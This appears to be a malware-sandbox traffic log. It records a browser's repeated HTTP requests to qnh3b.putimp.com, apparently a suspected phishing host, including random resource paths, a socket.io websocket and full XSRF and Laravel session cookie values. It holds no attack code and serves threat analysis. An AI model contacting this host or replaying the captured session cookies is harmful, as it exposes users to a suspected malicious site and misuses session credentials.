laravel_session=eyJpdiI6Im8reDhTK0h6RnVyeWpTZnNhVk5MZnc9PSIsInZhbHVlIjoiZWtsZDB6N2J6VDRwNjNhVmpjQWFaQUxrZEUxSUJETEZDT3A1VzFNVVovejZmYWs1WFN0SmMzc2JjRjRPMzRUdDdUdGRSMVlKWGxGSkpSOHpadE01dHkwUFd0UkJXMDFzZmlVczhoZytnRzBPQVFSS1lkZVc5SmMraDRvLzRlcXYiLCJtYWMiOiI2MTE2MDRiZDI2MTBjOGNmYzVhZDM2OWU5ZmU0NmM2YmE1NjVmZjllYmU5OTMwOTI3MmNiNWUyMzA0NmNlZmY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL HTTP/1.1Host: qnh3b.putimp.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://qnh3b.putimp.com/yo0z/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkpIL2VNMUhnVmVaNmhla01GN3p4V1E9PSIsInZhbHVlIjoiaVhXM1JUQ0hhNEc4aHVqVmx5TjhBUUd0YmxVQnh6ekQ0NElKTTI2SWVGMjhQNUJ4STcwK0VmSVlnRmpBb21KQnFOa3d3QTltU3BMMHRFK1dVa1ZaREVDTFl2Nm14c2F0Rkk1SFVQTFhKRnZUdmVDTkI2TWI2MFVZWWFRU05rYngiLCJtYWMiOiJmZjQ1ZTkyODVjMjUzN2FlN2JiNWEyNTc2Yzg3NTRhZGJkNWMzYjQyZWE4YjY4Nzc5OThkNWIzYmQzODhlODA1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVSeEo3UXJCRG9wRSs0emdUclFnVHc9PSIsInZhbHVlIjoicVBWQ1pXWG1TbERQaWd3MkVlZENQeFN0WHg4R0tWRTdyQWQzQU4rdHlmZW9TWmJVVFArdE5zMDI4aGd4WHlNRVJtUHlRY1NYb1Y3czg0Tzdlc0lacmZDeWdoK3loa0lZTU5nYjUyVXdKOXNleWNSQmdXZWlDNmFKUFQyQ1Q2U1EiLCJtYWMiOiI4ZDgwZmI0ZTBhZTI3YWE0Y2M1YmE5MTQwN2Q3OTFmZDBkNjhkMTg1YjliNGVmYWM5NjlkOTZmZDFiYmNiNGM0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /56FMAGab1x5X48912 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGLAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InMyeXltQWU2K3h3cGdQdTE1T2x0VUE9PSIsInZhbHVlIjoiQnBxd0FqUHpGT044d3pKVFJxckdNRDZueGJMOXhZeXpOcUlvLzdsSnZUZzNKTTE5N3dKQUY4MlNqMStNODBydTF6U1o2MkhnRk8zek90KzB2eEtoQktmOVNhMWhHSkhDU1lKS1pjQU0rWWp3bTU1UzBkTTZETTRmcHc4ZWtzYWQiLCJtYWMiOiJkYjIyYWJmOTQ1YmYxNWEwYjg0NDViM2FhMDM4M2ZkMGNjMGZlNjc1Zjc2MGJmZTVlMDcxMjczYWRmNjFlZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNIeXAwSkdJeEdRUmJRNk0rTVhNdHc9PSIsInZhbHVlIjoiTTlvNGR1WFZ0cXJQNHVyTnFtUjlaL3lKV1h1Tjl2anNtdGJReTlBREtyU0RtdkwvYThhNTJBQXNSL0c3Vmc2TXV5SGYrSTZQaFNOTXF3c3pVWEpxRnd4dnRQQWZ1azl4QnBid2Q0UUtaYXlRRlZZcjlUb0d1MlBDd0RRcXJDVUQiLCJtYWMiOiJhOTVjMDkzYWU5MDI0OGY4ZGQ0ZjlkZjQ2NjQyMTdiMDQ3NzJkOGI1OGZkY2EzY2NmZGIxMDJkMTZiOTA5ODUwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /absIDHZ3sTrsARG5gh30 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGLAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InMyeXltQWU2K3h3cGdQdTE1T2x0VUE9PSIsInZhbHVlIjoiQnBxd0FqUHpGT044d3pKVFJxckdNRDZueGJMOXhZeXpOcUlvLzdsSnZUZzNKTTE5N3dKQUY4MlNqMStNODBydTF6U1o2MkhnRk8zek90KzB2eEtoQktmOVNhMWhHSkhDU1lKS1pjQU0rWWp3bTU1UzBkTTZETTRmcHc4ZWtzYWQiLCJtYWMiOiJkYjIyYWJmOTQ1YmYxNWEwYjg0NDViM2FhMDM4M2ZkMGNjMGZlNjc1Zjc2MGJmZTVlMDcxMjczYWRmNjFlZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNIeXAwSkdJeEdRUmJRNk0rTVhNdHc9PSIsInZhbHVlIjoiTTlvNGR1WFZ0cXJQNHVyTnFtUjlaL3lKV1h1Tjl2anNtdGJReTlBREtyU0RtdkwvYThhNTJBQXNSL0c3Vmc2TXV5SGYrSTZQaFNOTXF3c3pVWEpxRnd4dnRQQWZ1azl4QnBid2Q0UUtaYXlRRlZZcjlUb0d1MlBDd0RRcXJDVUQiLCJtYWMiOiJhOTVjMDkzYWU5MDI0OGY4ZGQ0ZjlkZjQ2NjQyMTdiMDQ3NzJkOGI1OGZkY2EzY2NmZGIxMDJkMTZiOTA5ODUwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /pqJ7f9jIH8fWXt124b9wx40 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://qnh3b.putimp.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGLAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InMyeXltQWU2K3h3cGdQdTE1T2x0VUE9PSIsInZhbHVlIjoiQnBxd0FqUHpGT044d3pKVFJxckdNRDZueGJMOXhZeXpOcUlvLzdsSnZUZzNKTTE5N3dKQUY4MlNqMStNODBydTF6U1o2MkhnRk8zek90KzB2eEtoQktmOVNhMWhHSkhDU1lKS1pjQU0rWWp3bTU1UzBkTTZETTRmcHc4ZWtzYWQiLCJtYWMiOiJkYjIyYWJmOTQ1YmYxNWEwYjg0NDViM2FhMDM4M2ZkMGNjMGZlNjc1Zjc2MGJmZTVlMDcxMjczYWRmNjFlZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNIeXAwSkdJeEdRUmJRNk0rTVhNdHc9PSIsInZhbHVlIjoiTTlvNGR1WFZ0cXJQNHVyTnFtUjlaL3lKV1h1Tjl2anNtdGJReTlBREtyU0RtdkwvYThhNTJBQXNSL0c3Vmc2TXV5SGYrSTZQaFNOTXF3c3pVWEpxRnd4dnRQQWZ1azl4QnBid2Q0UUtaYXlRRlZZcjlUb0d1MlBDd0RRcXJDVUQiLCJtYWMiOiJhOTVjMDkzYWU5MDI0OGY4ZGQ0ZjlkZjQ2NjQyMTdiMDQ3NzJkOGI1OGZkY2EzY2NmZGIxMDJkMTZiOTA5ODUwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /12pQHazQfq78CXM6wYqr50 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://qnh3b.putimp.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGLAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InMyeXltQWU2K3h3cGdQdTE1T2x0VUE9PSIsInZhbHVlIjoiQnBxd0FqUHpGT044d3pKVFJxckdNRDZueGJMOXhZeXpOcUlvLzdsSnZUZzNKTTE5N3dKQUY4MlNqMStNODBydTF6U1o2MkhnRk8zek90KzB2eEtoQktmOVNhMWhHSkhDU1lKS1pjQU0rWWp3bTU1UzBkTTZETTRmcHc4ZWtzYWQiLCJtYWMiOiJkYjIyYWJmOTQ1YmYxNWEwYjg0NDViM2FhMDM4M2ZkMGNjMGZlNjc1Zjc2MGJmZTVlMDcxMjczYWRmNjFlZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNIeXAwSkdJeEdRUmJRNk0rTVhNdHc9PSIsInZhbHVlIjoiTTlvNGR1WFZ0cXJQNHVyTnFtUjlaL3lKV1h1Tjl2anNtdGJReTlBREtyU0RtdkwvYThhNTJBQXNSL0c3Vmc2TXV5SGYrSTZQaFNOTXF3c3pVWEpxRnd4dnRQQWZ1azl4QnBid2Q0UUtaYXlRRlZZcjlUb0d1MlBDd0RRcXJDVUQiLCJtYWMiOiJhOTVjMDkzYWU5MDI0OGY4ZGQ0ZjlkZjQ2NjQyMTdiMDQ3NzJkOGI1OGZkY2EzY2NmZGIxMDJkMTZiOTA5ODUwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /78znHbZYRRXfAgqb9845YeYc8Jyst60 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://qnh3b.putimp.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGLAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InMyeXltQWU2K3h3cGdQdTE1T2x0VUE9PSIsInZhbHVlIjoiQnBxd0FqUHpGT044d3pKVFJxckdNRDZueGJMOXhZeXpOcUlvLzdsSnZUZzNKTTE5N3dKQUY4MlNqMStNODBydTF6U1o2MkhnRk8zek90KzB2eEtoQktmOVNhMWhHSkhDU1lKS1pjQU0rWWp3bTU1UzBkTTZETTRmcHc4ZWtzYWQiLCJtYWMiOiJkYjIyYWJmOTQ1YmYxNWEwYjg0NDViM2FhMDM4M2ZkMGNjMGZlNjc1Zjc2MGJmZTVlMDcxMjczYWRmNjFlZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNIeXAwSkdJeEdRUmJRNk0rTVhNdHc9PSIsInZhbHVlIjoiTTlvNGR1WFZ0cXJQNHVyTnFtUjlaL3lKV1h1Tjl2anNtdGJReTlBREtyU0RtdkwvYThhNTJBQXNSL0c3Vmc2TXV5SGYrSTZQaFNOTXF3c3pVWEpxRnd4dnRQQWZ1azl4QnBid2Q0UUtaYXlRRlZZcjlUb0d1MlBDd0RRcXJDVUQiLCJtYWMiOiJhOTVjMDkzYWU5MDI0OGY4ZGQ0ZjlkZjQ2NjQyMTdiMDQ3NzJkOGI1OGZkY2EzY2NmZGIxMDJkMTZiOTA5ODUwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /23CP8hhTkYf7i1Y7Cu2889TsquUI9xy70 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://qnh3b.putimp.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGLAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InMyeXltQWU2K3h3cGdQdTE1T2x0VUE9PSIsInZhbHVlIjoiQnBxd0FqUHpGT044d3pKVFJxckdNRDZueGJMOXhZeXpOcUlvLzdsSnZUZzNKTTE5N3dKQUY4MlNqMStNODBydTF6U1o2MkhnRk8zek90KzB2eEtoQktmOVNhMWhHSkhDU1lKS1pjQU0rWWp3bTU1UzBkTTZETTRmcHc4ZWtzYWQiLCJtYWMiOiJkYjIyYWJmOTQ1YmYxNWEwYjg0NDViM2FhMDM4M2ZkMGNjMGZlNjc1Zjc2MGJmZTVlMDcxMjczYWRmNjFlZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNIeXAwSkdJeEdRUmJRNk0rTVhNdHc9PSIsInZhbHVlIjoiTTlvNGR1WFZ0cXJQNHVyTnFtUjlaL3lKV1h1Tjl2anNtdGJReTlBREtyU0RtdkwvYThhNTJBQXNSL0c3Vmc2TXV5SGYrSTZQaFNOTXF3c3pVWEpxRnd4dnRQQWZ1azl4QnBid2Q0UUtaYXlRRlZZcjlUb0d1MlBDd0RRcXJDVUQiLCJtYWMiOiJhOTVjMDkzYWU5MDI0OGY4ZGQ0ZjlkZjQ2NjQyMTdiMDQ3NzJkOGI1OGZkY2EzY2NmZGIxMDJkMTZiOTA5ODUwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /recaptcha/api.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://qnh3b.putimp.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /4.6.0/socket.io.min.js HTTP/1.1Host: cdn.socket.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://qnh3b.putimp.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /89Gdd5VtslDof12yyqgTFeyz80 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://qnh3b.putimp.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGLAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InMyeXltQWU2K3h3cGdQdTE1T2x0VUE9PSIsInZhbHVlIjoiQnBxd0FqUHpGT044d3pKVFJxckdNRDZueGJMOXhZeXpOcUlvLzdsSnZUZzNKTTE5N3dKQUY4MlNqMStNODBydTF6U1o2MkhnRk8zek90KzB2eEtoQktmOVNhMWhHSkhDU1lKS1pjQU0rWWp3bTU1UzBkTTZETTRmcHc4ZWtzYWQiLCJtYWMiOiJkYjIyYWJmOTQ1YmYxNWEwYjg0NDViM2FhMDM4M2ZkMGNjMGZlNjc1Zjc2MGJmZTVlMDcxMjczYWRmNjFlZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNIeXAwSkdJeEdRUmJRNk0rTVhNdHc9PSIsInZhbHVlIjoiTTlvNGR1WFZ0cXJQNHVyTnFtUjlaL3lKV1h1Tjl2anNtdGJReTlBREtyU0RtdkwvYThhNTJBQXNSL0c3Vmc2TXV5SGYrSTZQaFNOTXF3c3pVWEpxRnd4dnRQQWZ1azl4QnBid2Q0UUtaYXlRRlZZcjlUb0d1MlBDd0RRcXJDVUQiLCJtYWMiOiJhOTVjMDkzYWU5MDI0OGY4ZGQ0ZjlkZjQ2NjQyMTdiMDQ3NzJkOGI1OGZkY2EzY2NmZGIxMDJkMTZiOTA5ODUwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /efsInCvmlWeCilStApO0mm7F34E2eYInRflSmn100 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://qnh3b.putimp.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGLAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InMyeXltQWU2K3h3cGdQdTE1T2x0VUE9PSIsInZhbHVlIjoiQnBxd0FqUHpGT044d3pKVFJxckdNRDZueGJMOXhZeXpOcUlvLzdsSnZUZzNKTTE5N3dKQUY4MlNqMStNODBydTF6U1o2MkhnRk8zek90KzB2eEtoQktmOVNhMWhHSkhDU1lKS1pjQU0rWWp3bTU1UzBkTTZETTRmcHc4ZWtzYWQiLCJtYWMiOiJkYjIyYWJmOTQ1YmYxNWEwYjg0NDViM2FhMDM4M2ZkMGNjMGZlNjc1Zjc2MGJmZTVlMDcxMjczYWRmNjFlZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNIeXAwSkdJeEdRUmJRNk0rTVhNdHc9PSIsInZhbHVlIjoiTTlvNGR1WFZ0cXJQNHVyTnFtUjlaL3lKV1h1Tjl2anNtdGJReTlBREtyU0RtdkwvYThhNTJBQXNSL0c3Vmc2TXV5SGYrSTZQaFNOTXF3c3pVWEpxRnd4dnRQQWZ1azl4QnBid2Q0UUtaYXlRRlZZcjlUb0d1MlBDd0RRcXJDVUQiLCJtYWMiOiJhOTVjMDkzYWU5MDI0OGY4ZGQ0ZjlkZjQ2NjQyMTdiMDQ3NzJkOGI1OGZkY2EzY2NmZGIxMDJkMTZiOTA5ODUwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: qnh3b.putimp.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://qnh3b.putimp.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InMyeXltQWU2K3h3cGdQdTE1T2x0VUE9PSIsInZhbHVlIjoiQnBxd0FqUHpGT044d3pKVFJxckdNRDZueGJMOXhZeXpOcUlvLzdsSnZUZzNKTTE5N3dKQUY4MlNqMStNODBydTF6U1o2MkhnRk8zek90KzB2eEtoQktmOVNhMWhHSkhDU1lKS1pjQU0rWWp3bTU1UzBkTTZETTRmcHc4ZWtzYWQiLCJtYWMiOiJkYjIyYWJmOTQ1YmYxNWEwYjg0NDViM2FhMDM4M2ZkMGNjMGZlNjc1Zjc2MGJmZTVlMDcxMjczYWRmNjFlZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNIeXAwSkdJeEdRUmJRNk0rTVhNdHc9PSIsInZhbHVlIjoiTTlvNGR1WFZ0cXJQNHVyTnFtUjlaL3lKV1h1Tjl2anNtdGJReTlBREtyU0RtdkwvYThhNTJBQXNSL0c3Vmc2TXV5SGYrSTZQaFNOTXF3c3pVWEpxRnd4dnRQQWZ1azl4QnBid2Q0UUtaYXlRRlZZcjlUb0d1MlBDd0RRcXJDVUQiLCJtYWMiOiJhOTVjMDkzYWU5MDI0OGY4ZGQ0ZjlkZjQ2NjQyMTdiMDQ3NzJkOGI1OGZkY2EzY2NmZGIxMDJkMTZiOTA5ODUwIiwidGFnIjoiIn0%3DSec-WebSocket-Key: RysbfYDjARKRoO+uNhdnUA==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /56mJNrBuzavr2jeVPN8ZPklcjOHObwtzd89109 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGLAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InMyeXltQWU2K3h3cGdQdTE1T2x0VUE9PSIsInZhbHVlIjoiQnBxd0FqUHpGT044d3pKVFJxckdNRDZueGJMOXhZeXpOcUlvLzdsSnZUZzNKTTE5N3dKQUY4MlNqMStNODBydTF6U1o2MkhnRk8zek90KzB2eEtoQktmOVNhMWhHSkhDU1lKS1pjQU0rWWp3bTU1UzBkTTZETTRmcHc4ZWtzYWQiLCJtYWMiOiJkYjIyYWJmOTQ1YmYxNWEwYjg0NDViM2FhMDM4M2ZkMGNjMGZlNjc1Zjc2MGJmZTVlMDcxMjczYWRmNjFlZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNIeXAwSkdJeEdRUmJRNk0rTVhNdHc9PSIsInZhbHVlIjoiTTlvNGR1WFZ0cXJQNHVyTnFtUjlaL3lKV1h1Tjl2anNtdGJReTlBREtyU0RtdkwvYThhNTJBQXNSL0c3Vmc2TXV5SGYrSTZQaFNOTXF3c3pVWEpxRnd4dnRQQWZ1azl4QnBid2Q0UUtaYXlRRlZZcjlUb0d1MlBDd0RRcXJDVUQiLCJtYWMiOiJhOTVjMDkzYWU5MDI0OGY4ZGQ0ZjlkZjQ2NjQyMTdiMDQ3NzJkOGI1OGZkY2EzY2NmZGIxMDJkMTZiOTA5ODUwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnxoZafsKDuxUqjsrPcbj6GUIUShAhijNmBHuhIpjAkspqBG3juv220 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGLAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InMyeXltQWU2K3h3cGdQdTE1T2x0VUE9PSIsInZhbHVlIjoiQnBxd0FqUHpGT044d3pKVFJxckdNRDZueGJMOXhZeXpOcUlvLzdsSnZUZzNKTTE5N3dKQUY4MlNqMStNODBydTF6U1o2MkhnRk8zek90KzB2eEtoQktmOVNhMWhHSkhDU1lKS1pjQU0rWWp3bTU1UzBkTTZETTRmcHc4ZWtzYWQiLCJtYWMiOiJkYjIyYWJmOTQ1YmYxNWEwYjg0NDViM2FhMDM4M2ZkMGNjMGZlNjc1Zjc2MGJmZTVlMDcxMjczYWRmNjFlZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNIeXAwSkdJeEdRUmJRNk0rTVhNdHc9PSIsInZhbHVlIjoiTTlvNGR1WFZ0cXJQNHVyTnFtUjlaL3lKV1h1Tjl2anNtdGJReTlBREtyU0RtdkwvYThhNTJBQXNSL0c3Vmc2TXV5SGYrSTZQaFNOTXF3c3pVWEpxRnd4dnRQQWZ1azl4QnBid2Q0UUtaYXlRRlZZcjlUb0d1MlBDd0RRcXJDVUQiLCJtYWMiOiJhOTVjMDkzYWU5MDI0OGY4ZGQ0ZjlkZjQ2NjQyMTdiMDQ3NzJkOGI1OGZkY2EzY2NmZGIxMDJkMTZiOTA5ODUwIiwidGFnIjoiIn0%3D
